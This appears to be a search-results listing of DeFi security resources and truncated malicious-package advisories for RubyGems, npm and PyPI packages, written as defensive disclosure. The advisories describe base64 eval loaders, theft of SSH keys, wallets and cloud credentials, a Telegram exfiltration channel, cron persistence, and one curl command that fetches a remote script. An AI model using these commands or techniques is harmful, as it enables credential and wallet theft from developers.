DeFiHackLabs

DeFi Hacks Reproduce - Foundry Reproduce DeFi hack incidents using Foundry. 906 incidents included. Let's make Web3 secure! Join Discord Notion: 101 root cause analysis of past DeFi hacked incidents Transaction debugging tools Disclaimer: This content serves solely as a proof of concept showcasin...

Tracing Money Laundering across DeFi, Bridges, and Mixers on Ethereum

Illicit actors exploit Ethereum's deep liquidity and diverse on-chain services to launder criminal proceeds by combining decentralized finance DeFi protocols, cross-chain bridges, and mixers in multi-stage processes. Existing anti-money laundering tracing methods fail to disentangle the underlyin...

Malicious code in defi-yield-calculator (RubyGems)

Source: amazon-inspector ee8b3e50479b61d2ff6e2f5a19de20473cf8fc3c91f99945aff51f112a617192 The gem ships an ext/extconf.rb that base64-decodes an embedded Ruby payload and runs it via eval inside a double-forked, detached, stdio-nulled background process after a 20–40 minute sleep. Execution is...

Malicious Package

Overview defi-yield-calculator is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Malicious code in defi-yield-calculator (RubyGems)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ee8b3e50479b61d2ff6e2f5a19de20473cf8fc3c91f99945aff51f112a617192 The gem ships an ext/extconf.rb that base64-decodes an embedded Ruby payload and runs it via eval inside a double-forked, detached, stdio-nulled...

MAL-2026-17783 Malicious code in defi-yield-calculator (RubyGems)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ee8b3e50479b61d2ff6e2f5a19de20473cf8fc3c91f99945aff51f112a617192 The gem ships an ext/extconf.rb that base64-decodes an embedded Ruby payload and runs it via eval inside a double-forked, detached, stdio-nulled...

Malicious code in cro-defi-swap-periphery (npm)

The package cro-defi-swap-periphery was found to contain malicious code. --- Credit: OpenSSF source...

smart-contract-security-training

Smart Contract Security Training Hands-on smart contract secu...

The Ack3 H1 2026 DeFi Incident Dataset: Audit Scope across 135 Security Incidents

Smart-contract audits cover defined artifacts at a specific time, but the label audited is often treated as project-wide assurance. We analyze audit history and incident-path scope across 135 DeFi security incidents using the H1 2026 DeFi Incident Dataset published by cybersecurity company ack3...

MAL-2026-13775 Malicious code in permit2 (npm)

permit2 is a malicious npm package that squats the bare name of Uniswap's Permit2 token-approval system whose legitimate npm distribution is the scoped @uniswap/permit2-sdk, advertising itself as a "smart contract development toolkit." The package contains no real functionality — the published...

Malicious Package

Overview defi-sdk-py is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package authorshi...

Malicious code in defi-sdk-py (PyPI)

Source: kam193 b292686db581afeaaa7d53e2281a90d7d470fc71ab9e7d6156c49e2e99a44a30 During installation, the package exfiltrates sensitive env variables, browser data, crypto wallets files, ssh keys and other configuration files. --- Category: MALICIOUS - The campaign has clearly malicious intent, li...

MAL-2026-13361 Malicious code in defi-sdk-py (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 b292686db581afeaaa7d53e2281a90d7d470fc71ab9e7d6156c49e2e99a44a30 During installation, the package exfiltrates sensitive env variables, browser data, crypto wallets files, ssh keys and other configuration files. --- Category:...

Malicious code in defi-tools-39 (npm)

Crypto/SSH/wallet stealer, blockchain-helper-0 campaign sibling c960+, byte-identical to swap-sdk-87. postinstall auto-execs, src/index.js harvests /.ssh keys + Sol/Eth/BTC/Tron/Sui/Aptos wallets + .env + seeds, self-labels "CRYPTO STEALER", exfils to SAME Telegram bot 8227918239 chat 6433587894...

Malicious code in eth-defi (PyPI)

--- Credit: OpenSSF source...

Malicious code in defi-tools (PyPI)

Source: amazon-inspector 5a2562ad49633ee8c845db08a485394cb31c7de12d9f87eb3f8ef0ab61fb5128 On first import, defitools/init.py decodes a base64-embedded 486KB Linux ELF, writes it to /.config/.npm-cache/snapd-network, sets mode 0777, and installs a user crontab entry 0 /12 to re-execute it every 12...

Malicious code in defi-risk-scanner (PyPI)

Source: amazon-inspector 5a8385c44127ab4250664e1324009461ae329e3684948d692cc679962d59f818 On first import defiriskscanner, the package's top-level init.py unconditionally runs curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/risk-profiler.js and pipes the response body...

Malicious code in defi-kit (PyPI)

Source: amazon-inspector fc3facb1f07ed97dd9001874b4c4666b939bbff2ff4d8c5859d22e6013ed0c5d On import defikit, the module compat.py runs check which spawns a daemon thread that harvests long-lived credentials from the installer's host: /.ssh/id, /.aws/credentials, /.config/gcloud/.json,...

Malicious code in defi-kit (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fc3facb1f07ed97dd9001874b4c4666b939bbff2ff4d8c5859d22e6013ed0c5d On import defikit, the module compat.py runs check which spawns a daemon thread that harvests long-lived credentials from the installer's host:...

MAL-2026-10926 Malicious code in defi-kit (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fc3facb1f07ed97dd9001874b4c4666b939bbff2ff4d8c5859d22e6013ed0c5d On import defikit, the module compat.py runs check which spawns a daemon thread that harvests long-lived credentials from the installer's host:...